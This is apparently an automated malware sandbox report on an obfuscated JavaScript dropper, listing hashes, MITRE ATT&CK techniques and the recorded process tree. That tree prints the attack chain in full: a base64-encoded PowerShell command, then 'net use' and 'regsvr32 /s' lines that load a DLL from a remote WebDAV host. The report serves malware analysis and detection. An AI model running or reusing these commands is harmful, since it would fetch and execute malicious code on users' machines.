628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7

Analysis

max time kernel
15s
max time network
21s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 15:34

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General

Target

628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7.js
Size

13KB
MD5

6dbcf912e42f5959507706d917340edd
SHA1

80bff1d839ffbb645befdf79db61f78aa4ce99c3
SHA256

628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7
SHA512

3f1107beb798ee9532e80dde7dd74c59473e2c1ab69d7af1b15ef84fe2e07f9496574758555ac83d2f65ff72a37dafef369ad02eab7007dfe5ba65cc32848d36
SSDEEP

96:9SELzyCiDh6PJ4p4aWPZ7dS7vyeRJWxfJD1linouRJWxfJD1linowOpR2:9SELzG8Pi4aWPZxS5az1knhaz1kngpg

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2440	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2440	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 2440	2348	wscript.exe	29
PID 2348 wrote to memory of 2440	2348	wscript.exe	29
PID 2348 wrote to memory of 2440	2348	wscript.exe	29
PID 2440 wrote to memory of 2944	2440	powershell.exe	31
PID 2440 wrote to memory of 2944	2440	powershell.exe	31
PID 2440 wrote to memory of 2944	2440	powershell.exe	31
PID 2440 wrote to memory of 2672	2440	powershell.exe	32
PID 2440 wrote to memory of 2672	2440	powershell.exe	32
PID 2440 wrote to memory of 2672	2440	powershell.exe	32
PID 2440 wrote to memory of 2672	2440	powershell.exe	32
PID 2440 wrote to memory of 2672	2440	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\628becad96fef936a35cb92f71002466c56d1c5a986e298b6e8872f2cd9b8bf7.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMgAxADcAMQA2ADkAMgA0ADIAMAAzADQAOQAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2944
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\12171692420349.dll
    3⤵
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2440-4-0x000007FEF5E7E000-0x000007FEF5E7F000-memory.dmp

Filesize
4KB

Download
memory/2440-5-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-7-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2440-6-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2440-8-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-10-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-9-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-11-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/2440-12-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download